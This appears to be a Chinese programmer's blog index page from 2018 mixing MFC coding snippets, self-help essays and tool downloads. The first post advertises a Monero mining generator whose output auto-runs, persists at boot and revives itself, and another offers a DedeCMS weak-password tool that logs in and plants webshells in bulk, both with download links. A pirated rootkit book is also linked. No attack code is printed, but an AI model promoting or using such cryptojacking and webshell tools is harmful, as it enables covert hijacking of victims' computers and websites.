2018XMR挖矿生成器

栏目: 原创工具   作者: T   时间: 2018-4-17   浏览: 57

WX20180417-161010@2x.png



工具如图,32位CPU挖矿程序。实测可用。


自动生成挖矿程序,自动运行,开机自启,文件复活。


XMR门罗币挖矿QQ交流群 767181972


2018XMR挖矿生成器下载地址

链接:https://pan.baidu.com/s/1qtiGOQ3XcEaQe_oOjq_-EQ 密码:5qj1


mfc进程保护、进程复活工具

栏目: VC闲记   作者: T   时间: 2018-4-16   浏览: 30

ezgif-2-cad2185c67.gif


功能如图,mfc进程保护。如果被结束,便重新复活。


mfc进程保护、进程复活工具Demo下载

链接: https://pan.baidu.com/s/1hF20Fga0JJQJwlmnyeREbQ 密码: bqv1




织梦弱口令登录一键写shell

栏目: 实用工具   作者: T   时间: 2018-4-10   浏览: 220

WX20180409-174035@2x.png


1、扫描管理 右键导入网址,进行织梦cms程序扫描。
2、弱口令登录 界面。 首先 http://v3.dama2.com 注册打码账号,点击测试登录。
3、抓取结果可以获取之前的扫描结果,本地导入可以本地导入域名。
4、扫描登录,自动进行弱口令登录和一句话写入。
域名格式统一为: http://www.xxx.com
此工具仅限于学习交流使用,请勿用于非法用途,否则作者不承担任何法律责任!

程序下载地址: 

http://www.yuanmadown.com/product/view1409.html


汉字转拼音mfc程序源码

栏目: VC闲记   作者: T   时间: 2018-4-4   浏览: 130


WX20180404-162048@2x.png


前两天写程序需要汉字转拼音,找到一个比较不错的程序,不过是多字节编码的,unicode没法使用。于是自己修改了下,vs2012/2013,unicode工程环境,正常编译。


汉字转拼音mfc程序和源码下载

链接: https://pan.baidu.com/s/18j-eWrILk09btdk9RhxoTw 密码: xp7w



CString&CStringA&CStringW之间的相互转换

栏目: VC闲记   作者: T   时间: 2018-4-3   浏览: 43


在做MFC编程的时候,时常会碰到CString、CStringA、CStringW之间相互转换的问题,也即chat字符串与wchar_t字符串相互转换的问题。

在网上找到一些它们之间相互转换的函数,代码如下:


头文件CStringToolEx.h


#ifndef _CSTRING_TOOL_EX_
#define _CSTRING_TOOL_EX_

#include <cstringt.h>

//
// CString转CStringA
//
#ifndef CStrT2CStrA
#ifdef _UNICODE
#define CStrT2CStrA(cstr) CStrW2CStrA((cstr))
#else
#define CStrT2CStrA(cstr) (cstr)
#endif
#endif

//
// CString转CStringW
//
#ifndef CStrT2CStrW
#ifdef _UNICODE
#define CStrT2CStrW(cstr) (cstr)
#else
#define CStrT2CStrW(cstr) CStrA2CStrW((cstr))
#endif
#endif

//
// CStringA转CString
//
#ifndef CStrA2CStrT
#ifdef _UNICODE
#define CStrA2CStrT(cstr) CStrA2CStrW((cstr))
#else
#define CStrA2CStrT(cstr) (cstr)
#endif
#endif

//
// CStringW转CString
//
#ifndef CStrW2CStrT
#ifdef _UNICODE
#define CStrW2CStrT(cstr) (cstr)
#else
#define CStrW2CStrT(cstr) CStrW2CStrA((cstr))
#endif
#endif

//
// CStringA转CStringW
//
CStringW CStrA2CStrW(const CStringA &cstrSrcA);

//
// CStringW转CStringA
//
CStringA CStrW2CStrA(const CStringW &cstrSrcW);

#endif


源文件CStringToolEx.cpp


#include "stdafx.h"
#include "CStringToolEx.h"
#include <cstringt.h>

//
// CStringA转CStringW
//
CStringW CStrA2CStrW(const CStringA &cstrSrcA)
{
    int len = MultiByteToWideChar(CP_ACP, 0, LPCSTR(cstrSrcA), -1, NULL, 0);
    wchar_t *wstr = new wchar_t[len];
    memset(wstr, 0, len*sizeof(wchar_t));
    MultiByteToWideChar(CP_ACP, 0, LPCSTR(cstrSrcA), -1, wstr, len);
    CStringW cstrDestW = wstr;
    delete[] wstr;

    return cstrDestW;
}

//
// CStringW转CStringA
//
CStringA CStrW2CStrA(const CStringW &cstrSrcW)
{
    int len = WideCharToMultiByte(CP_ACP, 0, LPCWSTR(cstrSrcW), -1, NULL, 0, NULL, NULL);
    char *str = new char[len];
    memset(str, 0, len);
    WideCharToMultiByte(CP_ACP, 0, LPCWSTR(cstrSrcW), -1, str, len, NULL, NULL);
    CStringA cstrDestA = str;
    delete[] str;

    return cstrDestA;
}


使用示例:


CString  cstrName = TEXT("Hello Kitty");
    CStringA cstraName = CStrT2CStrA(cstrName);   //CString to CStringA
    CStringW cstrwName = CStrT2CStrW(cstrName);   //CString to CStringW
    ::MessageBoxA(NULL, cstraName, "CStringToolEx Test", MB_OK);
    ::MessageBoxW(NULL, cstrwName, L"CStringToolEx Test", MB_OK);

    CStringA cstraAddr = "Anhui Anqing";
    CString  cstrAddr  = CStrA2CStrT(cstraAddr);    //CStringA to CString
    CStringW cstrwAddr = CStrA2CStrW(cstraAddr);    //CStringA to CStringW
    ::MessageBox(NULL, cstrAddr, TEXT("CStringToolEx Test"), MB_OK);
    ::MessageBoxW(NULL, cstrwAddr, L"CStringToolEx Test", MB_OK);

    CStringW cstrwGender = L"Male";
    CString  cstrGender  = CStrW2CStrT(cstrwGender);   //CStringW to CString
    CStringA cstraGender = CStrW2CStrA(cstrwGender);   //CStringW to CStringA
    ::MessageBox(NULL, cstrGender, TEXT("CStringToolEx Test"), MB_OK);
    ::MessageBoxA(NULL, cstraGender, "CStringToolEx Test", MB_OK);


CString&CStringA&CStringW之间的相互转换下载地址:


链接: https://pan.baidu.com/s/1RUv27EGGWaPcoPtA49yNsA 密码: 27ei



八小时内求生存,八小时外求发展

栏目: 阅读思考   作者: T   时间: 2018-4-3   浏览: 32


Gladwell在《异数》一书中提出了一万小时定律:只要经过1万小时的锤炼,任何人都能从平凡变成超凡。这句话完全肯定的句式也决定了其必然会成为一个比较具有争议性的话题:有人视作真理,有人视作成功学。


有人去尝试,练习万余时,然而并没有成功,感叹:伪定律!

然而真的是因为一万小时定律的问题的么?

我说不一定,很可能是因为打开的姿势不对。

首先声明,我并不认为一万小时定律适用于所有情况所有领域,但是,对于绝大多数的人和事来说,都具有很大的学习意义,只要你掌握了正确的方法论。

1、没有方向,什么风都是逆风

这话不是我讲的,但却是我最想讲的。

一万小时理论的核心是专注,专注一个领域,专注一个方向,专注一个行业。而从来不是简单粗暴的堆砌时间。找准你要专注的方向,你的专注才有空间可施展,才有资源可积累,不然,谈何一万小时?充分结合自我定位、商业价值、市场机会等诸多方面,进行合理的自我定位,确定适合自己的方向,这是践行该理论的前提。

没有方向,就像随波漂流的小船,刮东风往东走,刮西风往西走,吹着吹着可能又回到了原来的位置。当然,也不排除有人可能正好就被风推到目的地,但我相信,99%的人不会有这样的幸运。

找错了方向,一样是成本。你扫一辈子地也无法成为少林寺的扫地僧(其实人家是武林高手),找到适合自己的有价值的方向,你的专注才更容易产生价值。连方向都没有,和咸鱼有什么区别?

2、八小时内求生存,八小时外求发展

八小时内是工作,八小时外是自我提升,既然你要选择相信科学的一万小时定律,那为啥不努力让期待的效果来的稍微快那么一点呢?也就是积极主动一点,工作实践,业余抽出时间去不断学习充电,在自己的目标领域不断探索。

这其实就是鲁迅的喝咖啡的故事,我只是把别人喝咖啡的时间用来学习了而已。道理你肯定懂,不多说,做就是了。

3、不是简单重复,而是挖掘自身潜能

搬一万小时砖你就成为砖家啦?做一万小时流水线操作工你还是操作工,顶多算资深操作工,但这不是真正的生涯发展。挖掘自身潜能,探索目标方向,不断提升自我,这样的一万小时才是进步的,积极的。

Noel Tichy提出过知识的三区理论,如下图,最里面是舒适区,中间是学习区,最外层是焦虑区。舒适区是你已经熟练掌握的,焦虑区是你完全不会对你来说挑战比较大的,而学习区,是你既略有了解又具有一定挑战性的,可以说,学习区是最理想的状态,保持一直在学习区学习,进步和持续性都会比较可观。所以,到学习区待着吧。



4、投资到自身的内生涯提升

职业规划理论认为,内生涯是外生涯的前提,内生涯带动外生涯的发展。简单说,就是自我能力的提升才能够带来外在的职位、薪水等的提升。

健康和教育绝对是在自己身上最有价值的投资。然而很多人并没有意识到这一点,千金买包,果断坚决,十元买书,犹豫不决。要提升,自然是要有成本有预算的,购买教育资源也是合理的途径之一。

5、用主题阅读贯穿自我教育

学习的方法也至关重要,自我教育也应是方向明确的。怎样去明确学习的方向呢?我的方法是为自己制定主题,用主题阅读的方式。根据你的方向,设定学习的范围,再根据当前的阶段,为自己设置学习的关键词,然后根据这些关键词,去寻找你需要的知识和技能资源,学习你需要掌握的“道”和“术”。

小结:

其实,一万小时定律的真正意义在于,给人一种希望,一种方法。虽然,讲道理,努力一万小时也不一定就能成功,毕竟除了努力还有很多其他因素。但是,它给了我们普通民众一种向上的动力,让我们看到希望,让我们不至于迷茫与消沉。至少我们每个人都愿意去肯定这份努力与专注,我们更关注的是探索的过程,即使失败了,总会有收获,总不至于遗憾。



20岁的时候你在熬夜,40岁的时候你能干嘛

栏目: 阅读思考   作者: T   时间: 2018-3-31   浏览: 83

一、
我不喜欢看到下班时间过了半个小时还在电脑前的员工,更不喜欢晚上十点以后打电话跟我谈工作的员工。前者让我觉得挫败,老板不能让员工按时下班,说明工作安排不合理。后者让我担忧,这么晚还在想工作,明天能有饱满的精力上班吗?
经常被问到,你们作家是不是都熬夜写作?村上春树在《我的职业是小说家》里给出的工作时间表是:早晨起床后,沏好咖啡,工作四五个小时,一天写四千字。他强调,“当你做一项长期工作时,规律性有极大的意义”。
如果继续深入了解,你会发现,越是成功的人,越知道生活规律、睡眠健康的重要性。他们往往在创业之初,就给自己立下规矩,像一台精密的仪器,该工作的时候工作,该睡觉的时候睡觉,该拒绝的时候拒绝,不把睡觉的时间浪费在无效的信息获得上,更不在睡觉之前为明天焦虑。
“回家泡个热水澡,睡个好觉,明天早晨起来,满街都是男人,个个都比豹哥好。”电影《甜蜜蜜》里的这句台词,把睡个好觉当成了失恋的鸡血。

二、
我认识一个意气风发的姑娘,经常凌晨两三点钟发朋友圈。有人说你这样对身体不好,她说我不要人生的长度,只要人生的宽度。听上去很燃,但看来看去,发现她所谓的“人生宽度”只是朋友圈的宽度。
无论你多有才华,多特立独行,没有健康,一切归零。读唐诗的时候,我总忍不住想,如果李贺能活到61岁,王勃能活到58岁,是不是就没李白杜甫什么事儿了?他们短短二十六七岁的生命,已经如此绚烂妖娆。
时间才是真正的big boss,再有才华的人,最后拼的还是命——生命,不是命运。
时下最酷人生态度是投资自己。每个人都希望当富矿,把时间换成美貌、知识、金钱,再用这些交换来的东西对自己进行投资,产生更大的效益。
我的前老板跟我说过一个投资自己的故事。之前,她在北京一家大报社,合租的女孩咬牙为自己投资了一件貂皮大衣。那时候,她们写一篇稿子可以拿一百块钱稿费,而一件貂皮大衣要九千多。借钱买了大衣,她就开始每天熬夜写稿。钱终于还清以后,落下了神经衰弱的病根,40岁就退出江湖,人也不知道去哪儿了。
“每次看到她穿着貂皮大衣参加party,采访到很多我摸不到的人,晚上回来却整夜抽烟、写作,白天要靠吞食大量的维他命和咖啡维持精力,我都觉得这是注定赔本的买卖。每天只睡4小时,工作到70岁,活到90岁,那是传奇,不叫人生。普通如我们,对自己最好的投资是晚上十点上床睡觉,早晨六点起床跑步。”
前老板是我偶像,她的这些话对我影响特别大。后来我发现,晚睡的人往往不是因为有很多工作要做,而是常常对焦虑与孤独无能为力。

三、
每个人的时间,都可以分为三种:消费的时间、浪费的时间和投资的时间
消费的时间,是吃饭睡觉坐地铁等必须使用的时间,它是中性的。浪费的时间,是指把时间花在生气、抱怨等不值得的事情上。投资的时间,则是用来拓宽你的人生,收获体验与知识的时间。
中性的消费时间,使用得当,可以变成优质的投资时间;使用不当,就成了劣质的浪费时间。
如果你能在吃饭时细嚼慢咽,体会米的醇香菜的丰润,度过开心而满足的20分钟,它就不仅仅是消费,而是投资,你收获了快乐、放松、健康和精力。
如果你能在最佳睡眠时间里入睡,第二天精神饱满地满血复活,每一天都是新的自己,睡觉时间也由消费变成了投资。
有质量地用好时间,每一分钟,你都在为自己投资。

四、
你很清楚,亚健康离你很近。
你每天都不那么舒服,晚上睡不着,白天没精神,越到休假的时候越累。你想让自己看上去有精神,像个有为青年、成功人士,所以买很贵的口红、面霜、包,参加不知道能捞到什么的饭局与聚会,把每一天都过得像演出,晚上大脑根本停不下来。
这是城市青年的群像,如果里面有你,我建议你从今天开始,做一笔最划算的长线投资:好好睡觉。
即使住在租来的房子,也要给自己买个舒服的床垫和枕头;尽量把应酬安排在中午,晚餐精减,餐后安静;晚上九点以后开始做入睡前的准备,洗澡、看书、听音乐、做面膜……不带手机上床,你错过的朋友圈可以明天早晨再看,点赞留言一点也不耽误。
昨天,一个朋友告诉我,她在公司招聘的面试环节里增加了睡眠问题。“你每天晚上几点上床,睡前做什么,从上床到入睡平均需要多长时间?”
我问这道题目的意义在哪里?她说:“不熬夜已经成了我们时代最难的自律,能好好睡觉的年轻人都是潜力股。”
安静上床,安静入睡,不熬夜,不失眠,恭喜,你是最好的投资人,已经跑赢了大多数年轻人。




mfc在Treectrl中动态添加树项

栏目: VC闲记   作者: T   时间: 2018-3-30   浏览: 73

FC779B38709B2A75FCDD8017BC398E48.jpg


功能如图,在软件界面上动态添加和删除树项。

CString strInsert;
GetDlgItemText(IDC_EDIT1, strInsert);

HTREEITEM hSelect = m_Tree.GetSelectedItem();
m_Tree.InsertItem(strInsert, hSelect);

工程源码下载

链接: https://pan.baidu.com/s/1bahNfrt1xuneRBmtYm3L_Q 密码: mby3



Rootkit 系统灰色地带的潜伏者 原书第2版 扫描版PDF

栏目: 阅读思考   作者: T   时间: 2018-3-29   浏览: 56

170403mbydrurvj4ru4lvv.png


原书名:The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
作者: (美)Bill Blunden   
译者: 姚领田 蒋蓓 刘安 李潇

内容简介:
Amazon 亚马逊 五星级畅销书,rootkit领域的重要著作,计算机安全领域公认经典。从反取证角度,深入、系统解读rootkit的本质和核心技术,以及如何构建属于自己的rootkit武器。包含大量模块化示例,行文风趣幽默,颇具实战性和可读性。

《Rootkit:系统灰色地带的潜伏者(原书第2版)》共分四部分。第一部分(第1~6章),全新阐释rootkit 本质、rootkit与反取证关系、安全领域态势,以及反取证技术的策略、应对建议和攻击优势。之后,从硬件、软件(系统)、行业工具和内核空间方面介绍rootkit调查过程和利用反取证技术破坏调查过程的策略,使你对取证和反取证有全新了解。第二部分(第7~8章),主要介绍rootkit如何阻止磁盘分析和可执行文件的分析,而调查人员如何利用有效的工具和策略来分析辅助存储器(例如磁盘分析、卷分析、文件系统分析以及未知二进制分析)中可能留下的rootkit痕迹,并对内存驻留和多级释放器技术及用户态Exec(Userland Exec)理念进行了深入剖析。第三部分(第9~15章)主要详解攻击者利用rootkit破坏数据收集过程和造成“一切安好”的假象的前沿实用策略:阻止在线取证、内核模式策略、更改调用表、更改代码、更改内核对象、创建隐秘通道和部署带外rootkit。第四部分(第16章),高屋建瓴地重新总结了rootkit的核心策略,以及如何识别隐藏的rootkit、注意事项和如何处理感染等。 

书籍目录:
第一部分 基 础 知 识 
第1章 清空思想
1.1 不速之客
1.2 提炼一个更确切的定义
1.2.1 攻击循环
1.2.2 rootkit在攻击循环中的角色
1.2.3 单级释放器与多级释放器
1.2.4 其他部署方法
1.2.5 确切的学术性定义
1.2.6 不要混淆设计目标与实现
1.2.7 rootkit技术——力量倍增器
1.2.8 金·费尔比式比喻:破坏与毁坏
1.2.9 为何使用隐身技术?rootkit不能被发现吗
1.3 rootkit不等于恶意软件
1.3.1 感染源
1.3.2 广告软件和间谍软件
1.3.3 僵尸网络的兴起
1.3.4 引入:愚人飞客病毒
1.3.5 恶意软件与rootkit
1.4 谁在开发和使用rootkit
1.4.1 市场营销
1.4.2 数字版权管理
1.4.3 不是rootkit,而是种功能
1.4.4 法律实施
1.4.5 商业间谍 
1.4.6 政治间谍 
1.4.7 网络犯罪 
1.4.8 谁开发了颇具艺术感的rootkit 
1.4.9 rootkit的道德性 
1.5 慑魄惊魂:战场伤员分类 
1.6 总结
第2章 反取证综述
2.1 事件响应
2.1.1 入侵检测系统(和入侵防御系统)
2.1.2 异常行为
2.1.3 发生故障
2.2 计算机取证
2.2.1 rootkit不是隐身的吗?为什么还要进行反取证
2.2.2 假定最糟糕案例的场景
2.2.3 取证技术分类:第一种方法
2.2.4 取证技术分类:第二种方法
2.2.5 在线取证
2.2.6 当关机不再是种选择
2.2.7 关于拔掉电源插头的争论
2.2.8 崩溃转储或者不进行崩溃转储
2.2.9 事后检查分析
2.2.10 非本地数据
2.3 AF策略
2.3.1 数据销毁
2.3.2 数据隐藏
2.3.3 数据转换
2.3.4 数据伪造
2.3.5 数据源消除
2.4 AF技术的总体建议
2.4.1 使用定制工具
2.4.2 低且慢与焦土策略
2.4.3 避免特定实例攻击
2.4.4 使用分层防御
2.5 不明身份者具有优势
2.5.1 攻击者能够专注于攻击
2.5.2 防御者面临制度性挑战
2.5.3 安全是一种过程(而且还是一种令人讨厌的过程)
2.5.4 持续增加的复杂度
2.6 总结
第3章 硬件概述
3.1 物理内存
3.2 IA-32内存模型
3.2.1 平面内存模型
3.2.2 分段内存模型
3.2.3 操作模式
3.3 实模式
3.3.1 案例研究:MS-DOS
3.3.2 这不是浪费时间吗?为什么学习实模式
3.3.3 实模式执行环境
3.3.4 实模式中断
3.3.5 分段和程序控制
3.3.6 案例研究:转储IVT
3.3.7 案例研究:用TSR记录击键
3.3.8 案例研究:隐藏TSR
3.3.9 案例研究:为TREE.COM命令打补丁
3.3.10 小结
3.4 保护模式
3.4.1 保护模式执行环境
3.4.2 保护模式分段
3.4.3 保护模式分页
3.4.4 地址扩展分页
3.4.5 进一步研究页表
3.4.6 进一步研究控制寄存器
3.5 实现内存保护
3.5.1 通过分段实现保护
3.5.2 界限检查
3.5.3 类型检查
3.5.4 特权检查
3.5.5 受限指令检查
3.5.6 门描述符
3.5.7 保护模式中断表
3.5.8 分页保护
3.5.9 总结
第4章 系统概述
4.1 Windows系统下的物理内存
4.1.1 失落的大陆(内存)
4.1.2 Windows如何使用物理地址扩展
4.1.3 页、页帧、页帧号
4.2 Windows下的分段和分页
4.2.1 分段
4.2.2 分页
4.2.3 线性地址到物理地址的转换
4.2.4 一个更快的方法
4.2.5 关于EPROCESS和KPROCESS的讨论
4.3 用户空间和内核空间
4.3.1 4GB调优(4GT)
4.3.2 各得其所
4.3.3 跨越篱笆
4.3.4 用户空间剖析
4.3.5 内核空间动态分配
4.3.6 地址窗口化扩展
4.3.7 PAE、4GT和AWE的对比
4.4 用户模式和内核模式
4.4.1 执行方式与执行位置
4.4.2 内核模式组件
4.4.3 用户模式组件
4.5 其他内存保护特征
4.5.1 数据执行保护
4.5.2 地址空间布局随机化
4.5.3 /GS 编译选项
4.5.4 /SAFESEH链接器选项
4.6 本机API
4.6.1 中断向量表的发展
4.6.2 进一步研究中断描述表
4.6.3 通过中断进行系统调用
4.6.4 SYSENTER指令
4.6.5 系统服务调度表
4.6.6 枚举本机API
4.6.7 Nt*( )系统调用与Zw*( )系统调用
4.6.8 系统调用的生命周期
4.6.9 其他内核模式例程
4.6.10 内核模式API文档
4.7 引导过程
4.7.1 BIOS固件启动
4.7.2 EFI固件启动
4.7.3 Windows启动管理器
4.7.4 Windows启动加载器
4.7.5 初始化执行体
4.7.6 会话管理器
4.7.7 wininit.exe
4.7.8 winlogon.exe
4.7.9 启动过程概括
4.8 设计决策
4.8.1 藏在人群中:类型0
4.8.2 主动隐藏:类型1和类型2
4.8.3 跳出边界:类型3
4.8.4 前景展望
第5章 行业工具
5.1 开发工具
5.1.1 诊断工具
5.1.2 磁盘映像工具
5.1.3 更快速救灾:虚拟机
5.1.4 工具综述
5.2 调试器
5.2.1 配置CDB.exe
5.2.2 符号文件
5.2.3 Windows符号
5.2.4 激活CDB.exe
5.2.5 控制CDB.exe
5.2.6 有用的调试器命令
5.2.7 检查符号命令(x)
5.2.8 列举已加载的模块(lm和!lmi)
5.2.9 显示类型命令(dt)
5.2.10 反汇编命令(u)
5.2.11 显示命令(d*)
5.2.12 寄存器命令(r)
5.3 KD.exe内核调试器
5.3.1 使用内核调试器的不同方法
5.3.2 物理宿主机–目标机配置
5.3.3 准备硬件
5.3.4 准备软件
5.3.5 启动内核调试会话
5.3.6 控制目标机
5.3.7 虚拟宿主机–目标机配置
5.3.8 有用的内核模式调试器命令
5.3.9 列举已加载模块命令
5.3.10 !process扩展命令
5.3.11 寄存器命令(r)
5.3.12 使用崩溃转储
5.3.13 方法1:PS/2键盘技巧
5.3.14 方法2:KD.exe命令
5.3.15 方法3:NotMyFault.exe
5.3.16 崩溃转储分析
第6章 内核空间中的玄机
6.1 KMD模板
6.1.1 内核模式驱动程序:全局概览
6.1.2 WDK框架
6.1.3 真正最小的KMD
6.1.4 处理IRP
6.1.5 与用户模式代码通信
6.1.6 从用户模式发送命令
6.2 加载内核模式驱动程序
6.3 服务控制管理器
6.3.1 在命令行使用sc.exe
6.3.2 编程使用SCM
6.3.3 注册表踪迹
6.4 使用导出驱动程序
6.5 综合利用内核中的漏洞
6.6 Windows内核模式安全
6.6.1 内核模式代码签名
6.6.2 KMCS的应对措施
6.6.3 内核补丁保护
6.6.4 KPP的应对措施
6.7 同步
6.7.1 中断请求级
6.7.2 延迟过程调用
6.7.3 实现
6.8 总结
第二部分 事 后 分 析 
第7章 阻止磁盘分析
7.1 事后调查:概述
7.2 取证副本
7.3 卷分析
7.3.1 Windows下的存储卷
7.3.2 手工分析卷
7.3.3 应对措施:破坏分区表
7.3.4 Windows下的原始磁盘访问
7.3.5 原始磁盘访问:突破常规
7.4 文件系统分析
7.4.1 恢复删除的文件
7.4.2 恢复删除的文件:应对措施
7.4.3 枚举可选数据流
7.4.4 枚举可选数据流: 应对措施
7.4.5 恢复文件系统对象
7.4.6 恢复文件系统对象:应对措施
7.4.7 带外隐藏
7.4.8 带内隐藏
7.4.9 引入:FragFS
7.4.10 应用层隐藏
7.4.11 获取元数据
7.4.12 获取元数据:应对措施
7.4.13 改变时间戳
7.4.14 改变校验和
7.4.15 识别已知文件
7.4.16 交叉时间差异与交叉视图差异
7.4.17 识别已知文件:应对措施
7.5 文件签名分析
7.6 总结
第8章 阻止可执行文件分析
8.1 静态分析
8.1.1 扫描相关人工痕迹
8.1.2 验证数字签名
8.1.3 转储字符串数据
8.1.4 检查文件头
8.1.5 反汇编和反编译
8.2 破坏静态分析
8.2.1 数据转换:加壳
8.2.2 加壳:加密程序
8.2.3 密钥管理
8.2.4 加壳:压缩程序
8.2.5 加壳:变形代码
8.2.6 定制工具的需求
8.2.7 关于加壳的争论
8.2.8 数据伪造
8.2.9 虚旗攻击
8.2.10 数据源清除:多级加载器
8.2.11 深度防御
8.3 运行时分析
8.3.1 运行环境
8.3.2 手工与自动运行时分析
8.3.3 手工分析:基本概要
8.3.4 手工分析:跟踪
8.3.5 手工分析:内存转储
8.3.6 手工分析:捕捉网络活动
8.3.7 自动化分析
8.3.8 运行时复合分析
8.4 破坏运行时分析
8.4.1 跟踪的应对措施
8.4.2 API跟踪:规避迂回补丁
8.4.3 API跟踪:多级加载器
8.4.4 指令级跟踪:攻击调试器
8.4.5 断点
8.4.6 检测用户模式调试器
8.4.7 检测内核模式调试器
8.4.8 检测用户模式调试器或者内核模式调试器
8.4.9 通过代码校验和检测调试器
8.4.10 关于反调试器技术的争论
8.4.11 指令级跟踪:混淆
8.4.12 混淆应用数据
8.4.13 混淆应用代码
8.4.14 阻止自动化
8.4.15 应对运行时复合分析
8.5 总结
第三部分 在 线 取 证 
第9章 阻止在线取证
9.1 在线取证:基本过程
9.2 用户模式加载器
9.2.1 UML破坏现有的API
9.2.2 关于加载器API模块的争论
9.2.3 纵览Windows PE文件格式
9.2.4 相对虚拟地址
9.2.5 PE文件头
9.2.6 导入数据节(.idata)
9.2.7 基址重定位节(.reloc)
9.2.8 实现独立的UML
9.3 最小化加载器踪迹
9.3.1 数据节育:献给The Grugq的颂歌
9.3.2 下一步:通过漏洞利用程序加载
9.4 关于独立PE加载器的争论
第10章 用C语言创建shellcode
10.1 用户模式shellcode
10.1.1 Visual Studio工程设置
10.1.2 使用相对地址
10.1.3 寻找kernel32.dll:通往TEB和PEB的旅程
10.1.4 扩展地址表
10.1.5 解析kernel32.dll导出表
10.1.6 提取shellcode
10.1.7 危险空间
10.1.8 构建自动化
10.2 内核模式shellcode
10.2.1 工程设置:$(NTMAKEENV)\makefile.new
10.2.2 工程设置:SOURCES
10.2.3 地址解析
10.2.4 加载内核模式shellcode
10.3 特殊武器和策略
10.4 展望
第11章 更改调用表
11.1 在用户空间挂钩:IAT
11.1.1 DLL基础
11.1.2 访问导出例程
11.1.3 注入DLL
11.1.4 走查磁盘上PE文件的IAT
11.1.5 挂钩IAT
11.2 内核空间的调用表
11.3 挂钩IDT
11.3.1 处理多处理器:方案#1
11.3.2 裸例程
11.3.3 关于挂钩IDT的问题
11.4 挂钩处理器MSR
11.5 挂钩SSDT
11.5.1 禁用WP位:技巧#1
11.5.2 禁用WP位:技巧#2
11.5.3 挂钩SSDT项
11.5.4 SSDT示例:跟踪系统调用
11.5.5 SSDT示例:隐藏进程
11.5.6 SSDT示例:隐藏网络连接
11.6 挂钩IRP处理程序
11.7 挂钩GDT:安装调用门
11.8 挂钩的应对措施
11.8.1 检查内核模式挂钩
11.8.2 检查IA32_SYSENTER_EIP
11.8.3 检查 INT 0x2E
11.8.4 检查 SSDT
11.8.5 检查IRP处理程序
11.8.6 检查用户模式钩子
11.8.7 解析PEB:第1部分
11.8.8 解析PEB:第2部分
11.9 反应对措施
11.9.1 假设最坏的案例
11.9.2 最坏案例应对措施#1
11.9.3 最坏案例应对措施#2
第12章 更改代码
12.1 跟踪调用
12.1.1 迂回实现
12.1.2 获取NtSetValueKey()的地址
12.1.3 初始化补丁元数据结构
12.1.4 对照已知签名核实原始机器码
12.1.5 保存原始序言和尾声代码
12.1.6 更新补丁元数据结构
12.1.7 锁定访问并禁用写保护
12.1.8 注入迂回
12.1.9 序言迂回
12.1.10 尾声迂回
12.1.11 事后总结
12.2 破坏组策略
12.2.1 迂回实现
12.2.2 初始化补丁元数据结构
12.2.3 尾声迂回
12.2.4 将注册表值映射到组策略
12.3 绕过内核模式API记录器
12.3.1 故障安全规避
12.3.2 更上一层楼
12.4 指令补丁应对措施
第13章 更改内核对象
13.1 隐形的代价
13.1.1 问题#1:陡峭的学习曲线
13.1.2 问题#2:并发性
13.1.3 问题#3:可移植性和指针运算
13.1.4 特有技术:DKOM
13.1.5 对象
13.2 再访EPROCESS对象
13.2.1 获取EPROCESS指针
13.2.2 EPROCESS相关域
13.2.3 UniqueProcessId
13.2.4 ActiveProcessLinks
13.2.5 Token
13.2.6 ImageFileName
13.3 DRIVER_SECTION对象
13.4 令牌对象
13.4.1 Windows授权
13.4.2 定位令牌对象
13.4.3 令牌对象中的相关域
13.5 隐藏进程
13.6 隐藏驱动程序
13.7 操纵访问令牌
13.8 使用No-FU
13.9 内核模式回调
13.10 应对措施
13.10.1 交叉视图检测
13.10.2 高级枚举:CreateToolhelp32Snapshot()
13.10.3 高级枚举:PID暴力
13.10.4 低级枚举:进程
13.10.5 低级枚举:线程
13.10.6 相关软件
13.10.7 域校验和
13.11 反应对措施
13.11.1 最好的防护:饿死对手
13.11.2 评论:超越双环模型
13.11.3 最后一道防线
第14章 隐秘通道
14.1 普通恶意软件通道
14.1.1 互联网中继聊天
14.1.2 对等通信
14.1.3 HTTP
14.2 最坏案例场景:截获所有数据内容
14.2.1 协议隧道
14.2.2 DNS
14.2.3 ICMP
14.2.4 外围设备问题
14.3 Windows TCP/IP栈
14.3.1 Windows Sockets 2
14.3.2 原始套接字
14.3.3 Winsock内核API
14.3.4 NDIS
14.3.5 不同任务使用不同的工具
14.4 DNS隧道
14.4.1 DNS查询
14.4.2 DNS应答
14.5 DNS隧道:用户模式
14.6 DNS隧道:WSK实现
14.6.1 初始化应用程序的上下文
14.6.2 创建内核模式套接字
14.6.3 确定本地传输地址
14.6.4 绑定套接字与传输地址
14.6.5 设置远程地址(C2客户端)
14.6.6 发送DNS查询
14.6.7 接收DNS应答
14.7 NDIS协议驱动程序
14.7.1 创建并运行NDISProt6.0示例
14.7.2 客户端代码概要
14.7.3 驱动程序代码概要
14.7.4 Protocol*()例程
14.7.5 缺失的特征
14.8 被动的隐秘通道
第15章 转到带外
15.1 附加处理器模式
15.1.1 系统管理模式
15.1.2 流氓管理程序
15.1.3 白帽成员对策
15.1.4 流氓管理程序与SMM rootkit
15.2 固件
15.2.1 主板BIOS
15.2.2 ACPI组件
15.2.3 扩展ROM
15.2.4 UEFI固件
15.3 远程管理设施
15.4 不太明显的备用方案
15.4.1 板载闪存
15.4.2 电路级伎俩
15.5 总结
第四部分 结 束 语 
第16章 rootkit之道
16.1 核心策略
16.1.1 尊重你的对手
16.1.2 五指穿心掌
16.1.3 忍耐强行夺取的欲望
16.1.4 研究你的目标
16.2 识别隐藏之门
16.2.1 对付专有系统
16.2.2 监视内核
16.2.3 重要特点:硬件是新软件
16.2.4 充分利用现有研究
16.3 建筑领域的训诫
16.3.1 首先加载,深度加载
16.3.2 为自主性而奋斗
16.3.3 Butler Lampson:策略与机制分离
16.4 设计rootkit
16.4.1 隐身与开发努力
16.4.2 使用定制工具
16.4.3 稳定性很重要:致力于最佳实践
16.4.4 逐步提高
16.4.5 容错移转:自我修复的rootkit
16.5 处理感染


Rootkit 系统灰色地带的潜伏者 原书第2版 扫描版PDF下载地址

链接: https://pan.baidu.com/s/1b60bxz245jjjl9LYcoYjIw 密码: ddvr


C++数据结构与算法 第四版 完整带书签PDF+源码

栏目: 阅读思考   作者: T   时间: 2018-3-28   浏览: 83

103336sp6pdfooo6fjdoo5.jpg


103342pub6wqppruzbtpap.png


书籍作者: Adam Drozdek
内容简介:
这本《C++数据结构与算法(第4版)》全面系统地介绍了数据结构,并以C++语言实现相关的算法。
